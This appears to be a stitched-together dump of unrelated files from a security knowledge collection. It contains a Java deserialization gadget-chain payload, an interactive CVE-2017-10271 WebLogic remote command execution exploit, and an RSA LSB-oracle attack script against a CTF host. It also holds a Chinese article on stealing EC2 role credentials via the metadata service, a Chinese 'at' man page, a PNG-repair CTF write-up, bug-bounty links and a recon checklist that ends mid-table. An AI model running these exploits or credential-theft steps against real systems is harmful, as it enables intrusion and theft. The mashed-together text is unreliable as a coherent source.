Filesystem 容量 已用 可用 已用% 挂载点
/dev/sda3 <?xml:namespace prefix = st1 />32G 2.6G 28G 9% /
/dev/sda1 99M 12M 82M 13% /boot
none 252M 0 252M 0% /dev/shm
/dev/sdb1 2.0G 36M 1.9G 2% /mnt
```
|
sec-knowleage
|
import Utils.Gadgets;
import Utils.Reflections;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
@SuppressWarnings("unchecked")
public class Payload {
public static Object getObject( String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
new Class[] {Method.class},
new Object[] {Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("getSlot", Context.class, Object.class,
Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"));
makeSlot.setAccessible(true);
Object enumMakeGetter = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY_GETTER_SETTER").get(null);
Object slot = makeSlot.invoke(initContextScriptableObject, null, "foo", enumMakeGetter);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
Object enumMakeSlot = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY").get(null);
makeSlot.invoke(scriptableObject, null, "outputProperties", enumMakeSlot);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
}
|
sec-knowleage
|
from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
from crypto_commons.oracle.lsb_oracle import lsb_oracle
def oracle(s, payload):
send(s, 'l')
receive_until_match(s, "\:\>\>", None)
send(s, str(payload))
send(s, str(1))
send(s, str(1))
data = receive_until_match(s, "\:\>\>", None)
return "bit is wrong" in data
def multiplicate(x, e, n):
return (pow(2, e, n) * x) % n
def main():
url = "47.75.53.178"
port = 9999
s = nc(url, port)
data = receive_until_match(s, "\:\>\>", None).split("\n")
e = int(data[1])
n = int(data[2])
print(e, n)
send(s, 'r')
receive_until_match(s, "\:\>\>", None).split("\n")
send(s, 'test')
data = receive_until_match(s, "\:\>\>", None).split("\n")
ct = int(data[0])
lsb_oracle(ct, lambda x: multiplicate(x, e, n), n, lambda ct: oracle(s,ct))
main()
|
sec-knowleage
|
---
title: EC2 所面临的风险
---
<center><h1>EC2 所面临的风险</h1></center>
---
## 1、凭证泄露
云场景下的凭证泄露可以分成以下几种:
- 控制台账号密码泄露,例如登录控制台的账号密码
- 临时凭证泄露
- 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露
- 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露
对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:
- Github 敏感信息搜索
- 反编译目标 APK、小程序
- 目标网站源代码泄露
## 2、元数据
元数据服务是一种提供查询运行中的实例内元数据的服务,当实例向元数据服务发起请求时,该请求不会通过网络传输,如果获得了目标 EC2 权限或者目标 EC2 存在 SSRF 漏洞,就可以获得到实例的元数据。
在云场景下可以通过元数据进行临时凭证和其他信息的收集,在 AWS 下的元数据地址为:http://169.254.169.254/latest/meta-data/,直接 curl 请求该地址即可。
通过元数据,攻击者除了可以获得 EC2 上的一些属性信息之外,有时还可以获得与该实例绑定角色的临时凭证,并通过该临时凭证获得云服务器的控制台权限,进而横向到其他机器。
通过访问元数据的 `/iam/security-credentials/<rolename>` 路径可以获得目标的临时凭证,进而接管目标服务器控制台账号权限,前提是目标需要配置 IAM 角色才行,不然访问会 404
```shell
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
```
<img width="900" src="/img/1649996601.png">
通过元数据获得目标的临时凭证后,就可以接管目标账号权限了,这里介绍一些对于 RT 而言价值相对较高的元数据:
```
mac 实例 MAC 地址
hostname 实例主机名
iam/info 获取角色名称
local-ipv4 实例本地 IP
public-ipv4 实例公网 IP
instance-id 实例 ID
public-hostname 接口的公有 DNS (IPv4)
placement/region 实例的 AWS 区域
public-keys/0/openssh-key 公有密钥
/iam/security-credentials/<rolename> 获取角色的临时凭证
```
## 3、账号劫持
如果云厂商的控制台存在漏洞的话,用户账号也会存在一定的风险。
例如 AWS 的控制台曾经出现过一些 XSS 漏洞,攻击者就可能会使用这些 XSS 漏洞进行账号劫持,从而获得目标云服务器实例的权限。
## 4、恶意的镜像
AWS 在创建实例的时候,用户可以选择使用公共镜像或者自定义镜像,如果这些镜像中有恶意的镜像,那么目标使用该镜像创建实例就会产生风险。
以 CVE-2018-15869 为例,关于该漏洞的解释是:当人们通过 AWS 命令行使用「ec2 describe-images」功能时如果没有指定 --owners 参数,可能会在无意中加载恶意的 Amazon 系统镜像 ( AMI),导致 EC2 被用来挖矿。
对此,在使用 AWS 命令行时应该确保自己使用的是不是最新版的 AWS 命令行,同时确保从可信的来源去获取 Amazon 系统镜像。
## 5、其他的初始访问方法
除了以上云场景下的方法外,还可以通过云服务上的应用程序漏洞、SSH 与 RDP 的弱密码等传统场景下的方法进入目标实例。
> 参考资料:
>
> https://cloud.tencent.com/developer/article/1931560
>
> https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/
>
> https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/instancedata-data-categories.html
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
from __future__ import print_function
from builtins import input
import requests
import sys
url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}
def payload_command (command_in):
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "<",
}
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
" <soapenv:Header> " \
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
" <void class=\"java.lang.ProcessBuilder\"> \n" \
" <array class=\"java.lang.String\" length=\"3\">" \
" <void index = \"0\"> " \
" <string>cmd</string> " \
" </void> " \
" <void index = \"1\"> " \
" <string>/c</string> " \
" </void> " \
" <void index = \"2\"> " \
+ command_filtered + \
" </void> " \
" </array>" \
" <void method=\"start\"/>" \
" </void>" \
" </java>" \
" </work:WorkContext>" \
" </soapenv:Header>" \
" <soapenv:Body/>" \
"</soapenv:Envelope>"
return payload_1
def do_post(command_in):
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
if result.status_code == 500:
print("Command Executed \n")
else:
print("Something Went Wrong \n")
print("***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
"***************************************************** \n")
while 1:
command_in = input("Eneter your command here: ")
if command_in == "exit" : exit(0)
do_post(command_in)
|
sec-knowleage
|
.TH AT 1 "Nov 1996" local "Linux Programmer's Manual"
.SH NAME
at, batch, atq, atrm \- 排队、检查或删除以后要执行的作业。
.SH 总览
.B at
.RB [-V]
.RB [-q
.IR 队列]
.RB [-f
.IR 文件]
.RB [-mldbv]
.B 时间
.B "at -c"
.I 作业
.RI [作业...]
.B atq
.RB [-V]
.RB [-q
.IR 队列]
.RB [-v]
.br
.B atrm
.RB [-V]
.I 作业
.RI [作业...]
.br
.B batch
.RB [-V]
.RB [-q
.IR 队列]
.RB [-f
.IR 文件]
.RB [-mv]
.RB [时间]
.SH 描述
.B at
和
.B batch
从标准输入或一个指定的文件读取命令,这些命令在以后某个时间用
.BR /bin/sh
执行。
.TP 8
.BR at
在指定的时间执行命令。
.TP 8
.BR atq
列出用户的等待执行的作业;在用户是超级用户的情况下,列出所有人的作业。
.TP 8
.BR atrm
删除作业。
.TP 8
.BR batch
在系统负载水平允许的时候执行命令;换句话说,当平均负
载降到低于0.8,或降到了在 atrun 文件中指定的期望值时运行。
译注:atrun 文件参见 atd 手册页。
.PP
.B At
允许相当复杂的时间指定,它扩展了 POSIX.2 标准。它接受
.B HH:MM
的时间式样,用来指定在一天的某个时间运行一个作业。
(如果时间已经过了则假定为第二天。)你可以指定
.B midnight
(午夜)、
.B noon
(中午) 或
.B teatime
(下午4点),你可以用
.B AM
或
.B PM
后缀指定一天的上午或下午。你可以给出
.B month-name day
加上可选
的年份的式样用来指定运行 at 的日期,或者给出
.B MMDDYY
、
.B MM/DD/YY
或
.B DD.MM.YY
式样用来指定运行 at 的日期。日期的指定
必须跟在时间指定的后面。你也可以给出象
.B now \+
.I 计数 时间单位
的式样,这里的时间单位可以是
.B minutes
、
.B hours
、
.B days
或
.B weeks,
你可以给时间加一个
.B today
后缀来指定
.B at
今天运行作业,可以
给时间加一个
.B tomorrow
后缀来指定
.B at
明天运行作业。
.PP
例如,要在三天以后的下午 4 点运行一个作业,at 时间参数可以
指定为
.B 4pm \+ 3 days。
要在7月31日上午10:00运行一个作业,
at 时间参数可以指定为
.B 10am Jul 31,
要在明天上午1点运行一个
作业,at 时间参数可以指定为
.B 1am tomorrow。
.PP
时间指定的精确的定义可以在
.IR /usr/share/doc/at/timespec
找到。
.PP
对于
.BR at
和
.BR batch
两者,从标准输入或以
.B -f
选项指定的文件中
读取命令并执行之。工作路径、环境变量(除了
.BR TERM、
.BR DISPLAY
和
.BR _ )、
umask 从所期望的时间起保持不变。从一个从执行
.B su(1)
命令得到的
shell 中调用的
.B "at "\-
或
.B "batch "\-
命令将保持当前的 userid。
用户的命令的标准错误输出和标准输出将用邮件发给用户。发送邮件
使用命令
.BR /usr/sbin/sendmail。
从一个从执行
.B su(1)命令得到的
shell 中执行了
.B at
,登录 shell 的所有者将接到邮件。
译注:userid 是用户标识的意思。umask 是与每个进程相关联的文件
方式创建屏蔽字。
.PP
超级用户可以在任何情况下使用这些命令。对于其他用户,使用 at
的权限由文件
.I /etc/at.allow
和
.I /etc/at.deny
确定。
.PP
如果文件
.I /etc/at.allow
存在,在其中提及的用户名被允许使用
.BR at
命令。
.PP
如果
.I /etc/at.allow
不存在,而
.I /etc/at.deny
存在,所有在
.I /etc/at.deny
中未提及的用户被允许使用
.BR at
命令。
.PP
如果两者均不存在,只用超级用户可以使用
.BR at
命令。
.PP
一个空的
.I /etc/at.deny
意味着所有用户均被允许使用这些命令,
这是缺省的配置。
.SH 选项
.TP 8
.B -V
在标准错误上输出版本号。
.TP 8
.B -q queue
使用指定的队列。一个队列用一个字母标定,有效的的队列标定的
范围是从a到z和从A到Z。at 的缺省队列是 a,batch 的缺省队列是
b。队列的字母顺序越高,则队列运行时越谦让(运行级别越低)。
指定的队列 "=" 保留给当前运行的作业所在的队列。
.P
如果一个作业被提交到一个以大写字母标定的队列,则与提交到
batch 同样对待。如果给
.BR atq
指定一个队列,则只显示在此指定
队列中的作业。
.TP 8
.B -m
当作业完成时即使没有输出也给用户发邮件。
.TP 8
.B -f file
从文件而不是标准输入中读取作业信息。
.TP 8
.B -l
是
.B atq
的别名。
.TP 8
.B -d
是
.B atrm
的别名。
.TP 8
.B -v
对于
.B atq,
显示完整的在队列中未被删除的作业,对于其他
命令,显示作业将要执行的时间。
.P
显示的时间的格式类似于"1997-02-20 14:50",但如果设置了
.B POSIXLY_CORRECT
环境变量之后,格式类似于"Thu Feb 20
14:50:00 1996"。
.TP 8
.B -c
连接命令行中列出的作业并输出到标准输出。
.SH 相关文件
.I /var/spool/at
.br
.I /var/spool/at/spool
.br
.I /proc/loadavg
.br
.I /var/run/utmp
.br
.I /etc/at.allow
.br
.I /etc/at.deny
.SH 参见
cron(1), nice(1), sh(1), umask(2), atd(8)
.SH 缺陷
在 Linux 下正确的批处理操作依赖于挂装在/proc 上的一个
.IR proc -
类型的目录的存在。
.PP
如果文件
.I /var/run/utmp
不可获得或已经损坏,或者在
.B at
所期
待的时间用户没有登录,向在环境变量
.BR LOGNAME
中找到的 userid
发送邮件。如果
.BR LOGNAME 未定义或是空的,假定为当前的 userid。
.PP
当前实现的
.B at
和
.B batch
在用户竞争资源的时候是不适合的。
如果你的站点是这种情况,你可以考虑其他的批处理系统,
例如
.BR nqs。
.SH 著作者
AT 大部分是由Thomas Koenig写的。ig25@rz.uni-karlsruhe.de.
.SH "[中文版维护人]"
.B mhss <jijingzhisheng@up369.com>
.br
主要参照了:
.BR Linux 实用大全
/ 陈向阳,方汉 编著. -北京:
科学出版社,1998.8
.SH "[中文版最新更新]"
.BR 2000/10/27
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# We have a liftoff! (1/5)
Category: Innovation
## Description
> Welcome cadets!
>
> This is the mission's captain speaking, We are thrilled that you have joined us on this important mission to find extraterrestrial life.
>
> Sit back and enjoy the ride - your spaceship's kitchen is equipped with cookies and coffee. Just remember, don't spill anything on the equipment, we don't want some undesirable incidents in space.
>
> It seems that one of our satellites that is orbiting the moon has caught up with a signal...
>
> ```
> https://v0tw7ojr02.execute-api.us-west-2.amazonaws.com/fireitup
> id: 0c786488-544c-4d6f-b04a-e093165989da
> POST
> ```
## Solution
As guided, let's try to perform a POST request to the given URL with the given parameter:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ curl --location --request POST 'https://v0tw7ojr02.execute-api.us-west-2.amazonaws.com/fireitup' \
--header 'Content-Type: application/json' \
--data-raw '{"id": "0c786488-544c-4d6f-b04a-e093165989da"}' -s > response
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ file response
response: ASCII text, with very long lines, with no line terminators
```
We got a text file, let's peek into it by printing the first 100 characters:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ head -c 100 response
iVBORw0KGwoAAAANSUhEUgAADXAAAAWgCAYAAABNcorEAAAEGWlDQ1BrQ0dDb2xvclNwYWNlR2VuZXJpY1JHQgAAOI2NVV1oHFUU
```
Looks like base64. Let's decode it:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ base64 -d response > response.bin
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ file response.bin
response.bin: data
```
So `file` doesn't recognize it, let's take a look inside:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ cat response.bin | xxd -g 1 | head
00000000: 89 50 4e 47 0d 0a 1b 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
00000010: 00 00 0d 70 00 00 05 a0 08 06 00 00 00 4d 72 8a ...p.........Mr.
00000020: c4 00 00 04 19 69 43 43 50 6b 43 47 43 6f 6c 6f .....iCCPkCGColo
00000030: 72 53 70 61 63 65 47 65 6e 65 72 69 63 52 47 42 rSpaceGenericRGB
00000040: 00 00 38 8d 8d 55 5d 68 1c 55 14 3e bb 73 67 23 ..8..U]h.U.>.sg#
00000050: 24 ce 53 6c 34 85 74 a8 3f 0d 25 0d 93 56 34 a1 $.Sl4.t.?.%..V4.
00000060: b4 ba 7f dd dd 36 6e 96 49 36 da 22 e8 64 f6 ee .....6n.I6.".d..
00000070: ce 98 c9 ce 38 33 bb fd a1 4f 45 50 7c 31 ea 9b ....83...OEP|1..
00000080: 14 c4 bf b7 80 20 28 f5 0f db 3e b4 2f 95 0a 25 ..... (...>./..%
00000090: da d4 20 28 3e b4 f8 83 50 e8 8b a6 eb 99 3b 33 .. (>...P.....;3
```
This really looks like a `PNG` file, yet `file` won't recognize it. `file` is a signature-based tool, so something must be wrong with the signature.
`pngcheck` can give us a clue as to the problem:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ pngcheck -v -f response.bin
File: response.bin (3346832 bytes)
File is CORRUPTED. It seems to have suffered EOL conversion.
ERRORS DETECTED in response.bin
```
According to the [PNG Specifications](https://en.wikipedia.org/wiki/Portable_Network_Graphics), a `PNG` file should always start with:
| Values (hex) | Purpose |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `89` | Has the high bit set to detect transmission systems that do not support 8-bit data and to reduce the chance that a text file is mistakenly interpreted as a PNG, or vice versa. |
| `50 4E 47` | In ASCII, the letters PNG, allowing a person to identify the format easily if it is viewed in a text editor. |
| `0D 0A` | A DOS-style line ending (CRLF) to detect DOS-Unix line ending conversion of the data. |
| `1A` | A byte that stops display of the file under DOS when the command type has been used—the end-of-file character. |
| `0A` | A Unix-style line ending (LF) to detect Unix-DOS line ending conversion. |
We see that the PNG format has several safeguards to detect line-ending conversions. In our case, the incorrect byte seems to be at offset `0x6`, containing `0x1b` instead of `0x1a`. Let's fix that:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ cp response.bin fixed.png
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ printf '\x1a' | dd conv=notrunc of=fixed.png bs=1 seek=6
1+0 records in
1+0 records out
1 byte copied, 0.0047586 s, 0.2 kB/s
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ file fixed.png
fixed.png: PNG image data, 3440 x 1440, 8-bit/color RGBA, non-interlaced
```
We got a valid PNG file. It contains the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/We_have_a_liftoff]
└─$ tesseract fixed.png - --dpi 209
V3ryCl0seT0H0m3
```
|
sec-knowleage
|
# 二十二、资源
+ OnlineTraining
+ [WebApplication Exploits and Defenses](https://google-gruyere.appspot.com)
+ [The Exploit Database](https://www.exploit-db.com/)
+ [Udacity](https://cn.udacity.com/)
+ Bug Bounty Platforms
+ [Hackerone.com](https://Hackerone.com)
+ [Bugcrowd.com](https://bugcrowd.com/)
+ [Synack.com](https://www.synack.com/)
+ [Cobalt.io](https://cobalt.io/)
+ Video Tutorials
+ [youtube.com/yaworsk1](https://youtube.com/yaworsk1)
+ [Seccasts.com](https://www.youtube.com/c/nVisium/)
+ [Twitter#infsec](https://twitter.com/hashtag/Infsec)
+ [Twitter@disclosedh1](https://twitter.com/disclosedh1)
+ [Web Application Hackers Handbook](https://www.amazon.cn/%E9%BB%91%E5%AE%A2%E6%94%BB%E9%98%B2%E6%8A%80%E6%9C%AF%E5%AE%9D%E5%85%B8-Web%E5%AE%9E%E6%88%98%E7%AF%87-Dafydd-Stuttard/dp/B008FNO9GK)
+ [Bug Hunters Methodology](https://github.com/jhaddix/tbhm)
+ Recommended Blogs
+ [philippeharewood.com](http://philippeharewood.com/)
+ [Philippe'sFacebookPage](https://www.facebook.com/phwd-113702895386410)
+ [fin1te.net](https://whitton.io/)
+ [NahamSec.com](http://nahamsec.com/)
+ [blog.it-securityguard.com](http://blog.it-securityguard.com/)
+ [blog.innerht.ml](http://blog.innerht.ml/)
+ [blog.orange.tw](http://blog.orange.tw/)
+ [Portswigger Blog](http://blog.portswigger.net/)
+ [Nvisium Blog](https://nvisium.com/blog/)
+ [blog.zsec.uk](https://blog.zsec.uk/)
+ [Bug Crowd Blog](https://blog.bugcrowd.com/)
+ [HackerOne Blog](https://www.hackerone.com/blog)
|
sec-knowleage
|
'\"t
.\" @(#)lilo.8 1.0 950728 aeb
.\" This page is based on the lilo docs, which carry the following
.\" COPYING condition:
.\"
.\" LILO program code, documentation and auxiliary programs are
.\" Copyright 1992-1994 Werner Almesberger.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms of parts of or the
.\" whole original or derived work are permitted provided that the
.\" original work is properly attributed to the author. The name of the
.\" author may not be used to endorse or promote products derived from
.\" this software without specific prior written permission. This work
.\" is provided "as is" and without any express or implied warranties.
.\"
.\" Original version, Andries Brouwer (aeb@cwi.nl), 950728
.\" Added t directive, as Daniel Quinlan asked, 950824
.\"
.TH LILO 8 "28 July 1995"
.SH NAME
lilo \- 安装引导装入程序
.SH 总述
主要功能:
.LP
.B ” /sbin/lilo”
\- 安装引导装入程序
.LP
辅助用途:
.LP
.B ”/sbin/lilo –q”
\- 查询影射表
.br
.B ”/sbin/lilo –R”
\- 设置下次启动的默认命令行
.br
.B ”/sbin/lilo –I”
\- 查询当前内核的路径
.br
.B ”/sbin/lilo {-u|-U}”
\- 卸载lilo
.SH 使用说明
.LP
lilo 安装一个你在下一次启动时被激活的引导装入程序
它有多项的选择.
.LP
.TP
.B \-\^v
增加冗余.给出一个或更多的-v选项
使lilo 更详细.
.TP
.B \-\^q
列表当前已被影射的文件.
.B lilo
维护着一个文件,缺省的是
.IR ”/boot/map”,
包含了启动内核的名称和定位(位置)。
这个选项列出在其中的名字.
.BI ”\-\^m “ 影射文件名
使用指定的影射文件代替默认的.
.TP
.BI ”\-\^C” 配置文件名
.B lilo
从这个文件中读取有关影射文件的指令, 省缺的是
.IR ”/etc/lilo.conf”.
这个选项能使用一个指定的非默认的配置文件.
.TP
.BI ”\-\^d “ 延迟
如果你有几个指定的内核, 在启动时按下Shift 键, 引导程序会提供一个你选
择使用哪个系统内核去启动的机会. 一个预期的时间后列表的第一项将被引导.
这个选项指定一个以十分之一秒为单位的超时延迟.
.TP
.BI ”\-\^D ” 标记
使用给出标记的内核去代替第一个来作为默认的引导.
.TP
.BI ”\-\^r ” root-目录
做任何(修改)之前,改变root的位置到指出的目录.
习惯上用于纠正从软盘启动的安装.
.TP
.BI ”\-\^t ”
只进行测试. 不会真正的写入新的启动或影射文件.
和\fB-v\fP一起使用得知.B lilo
大约有什么要做.
.TP
.B ”\-\^c ”
影射压缩.将合并读入从临近部分的请求.
加速启动(尤其从软盘).
.TP
.BI ”\-\^f ” disk-tab
指定磁盘参数文件. (省缺的是
.IR /etc/disktab.)
.TP
.BI ”\-\^i ” boot-sector
指定一个文件作为boot sector使用.(省缺的是
.IR /boot/boot.b.)
.TP
.BI ”\-\^l ”
产生线性sector地址代替sector/head/cylinder 地址.
.TP
.BI ”\-\^P ” ”{fix|ignore}”
修理(或忽略)被破坏的分区表, 例如,
分区表用线性的和sector/head/cylinder 地址不协调.
.TP
.BI ”\-\^s ” save-file
当
.B lilo
覆盖 boot sector, 保存旧的内容在一个文件里,
省缺的是
.I /boot/boot.NNNN
这个NNNN依赖与设备.
这选项为boot sector 指定一个后选的挽救文件.
(或者, 和
\fB-u\fP 一起使用,从哪里恢复boot sector.)
.TP
.BI ”\-\^S ” 挽救文件
通常地,
.B lilo
不会覆盖已存在的挽救文件.
这个选项就是告诉它可以覆盖(这个文件).
.TP
.BI ”\-\^u ” device-name
卸载
.BR lilo,
通过检查时间标记,拷回一个保存了的boot sector.
.TP
.BI ”\-\^U ” device-name
同上, 但不检查时间标记.
.TP
.BI ”\-\^R ” command line
设定下次启动的命令行.boot loader会删除这行的:
这是个一次性命令.代表性的用在reboot 脚本, 只在调用shutdown -r'之前使
用.
.TP
.BI ”\-\^I ” 标记
启动后可以在环境变量BOOT_IMAGE 找到这个标记.
在标准输出设备上,这个命令列出相应的路径名.
.TP
.B ”\-\^V”
列出版本号.
.LP
上面的命令行选项相对应于下面在配置文件指出的关键字。
.IP
.nf
1.1
-b bootdev boot=bootdev
-c compact
-d dsec delay=dsec
-D label default=label
-i bootsector install=bootsector
-f file disktab=file
-l linear
-m mapfile map=mapfile
-P fix fix-table
-P ignore ignore-table
-s file backup=file
-S file force-backup=file
-v verbose=level
.fi
.SH ”请参阅”
lilo.conf(5).
.br
lilo 分发的非常广泛的文档.
.SH ”作者”
Werner Almesberger (almesber@bernina.ethz.ch).
.br
.SH ”[中文版维护人]”
.B Scorpio <rawk@chinese.com>
.SH ”[中文版最新更新]”
2000/10/9
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Bug Hunting Methodology and Enumeration
## Summary
* [Passive Recon](#passive-recon)
* Shodan
* Wayback Machine
* The Harvester
* Github OSINT
* [Active Recon](#active-recon)
* [Network discovery](#network-discovery)
* [Web discovery](#web-discovery)
* [Web Vulnerabilities](#looking-for-web-vulnerabilities)
## Passive recon
* Using [Shodan](https://www.shodan.io/) to detect similar app
```bash
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'
```
* Using [The Wayback Machine](https://archive.org/web/) to detect forgotten endpoints
```bash
look for JS files, old links
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"
```
* Using [The Harvester](https://github.com/laramies/theHarvester)
```python
python theHarvester.py -b all -d domain.com
```
* Look for private information in [GitHub]() repos with [GitRob](https://github.com/michenriksen/gitrob.git)
```bash
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2
```
* Perform Google Dorks search
## Active recon
### Network discovery
* Subdomains enumeration
* Enumerate already found subdomains: [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder): `subfinder -d hackerone.com`
* Permutate subdomains: [infosec-au/altdns](https://github.com/infosec-au/altdns)
* Bruteforce subdomains: [Josue87/gotator](https://github.com/Josue87/gotator)
* Subdomain takeovers: [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* Network discovery
* Scan IP ranges with `nmap`, [robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) and [projectdiscovery/naabu](https://github.com/projectdiscovery/naabu)
* Discover services, version and banners
* Review latest acquisitions
* ASN enumeration
* [projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap): `asnmap -a AS45596 -silent`
* DNS Zone Transfer
```ps1
host -t ns domain.local
domain.local name server master.domain.local.
host master.domain.local
master.domain.local has address 192.168.1.1
dig axfr domain.local @192.168.1.1
```
### Web discovery
* Locate `robots.txt`, `security.txt`, `sitemap.xml` files
* Retrieve comments in source code
* Discover URL: [tomnomnom/waybackurls](github.com/tomnomnom/waybackurls)
* Search for `hidden` parameters: [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner)
* List all the subdirectories and files with `gobuster` or `ffuf`
```ps1
# gobuster -w wordlist -u URL -t threads
./gobuster -u http://example.com/ -w words.txt -t 10
```
* Find backup files with [mazen160/bfac](https://github.com/mazen160/bfac)
```bash
bfac --url http://example.com/test.php --level 4
bfac --list testing_list.txt
```
* Map technologies: Web service enumeration using [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) or Wappalyzer
* Gather favicon hash, JARM fingerprint, ASN, status code, services and technologies (Github Pages, Cloudflare, Ruby, Nginx,...)
* Take screenshots for every websites using [sensepost/gowitness](https://github.com/sensepost/gowitness)
* Automated vulnerability scanners
* [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei): `nuclei -u https://example.com`
* [Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)
* [sullo/nikto](https://github.com/sullo/nikto): `./nikto.pl -h http://www.example.com`
* Manual Testing: Explore the website with a proxy:
* [Caido - A lightweight web security auditing toolkit](https://caido.io/)
* [ZAP - OWASP Zed Attack Proxy](https://www.zaproxy.org/)
* [Burp Suite - Community Edition](https://portswigger.net/burp/communitydownload)
## Looking for Web vulnerabilities
* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, Cookies, ....
* Test for Business Logic weaknesses
* High or negative numerical values
* Try all the features and click all the buttons
* [The Web Application Hacker's Handbook Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html
* Subscribe to the site and pay for the additional functionality to test
* Inspect Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
e.g :
Test card numbers and tokens
| NUMBER | BRAND | TOKEN |
| :------------- | :------------- | :------------- |
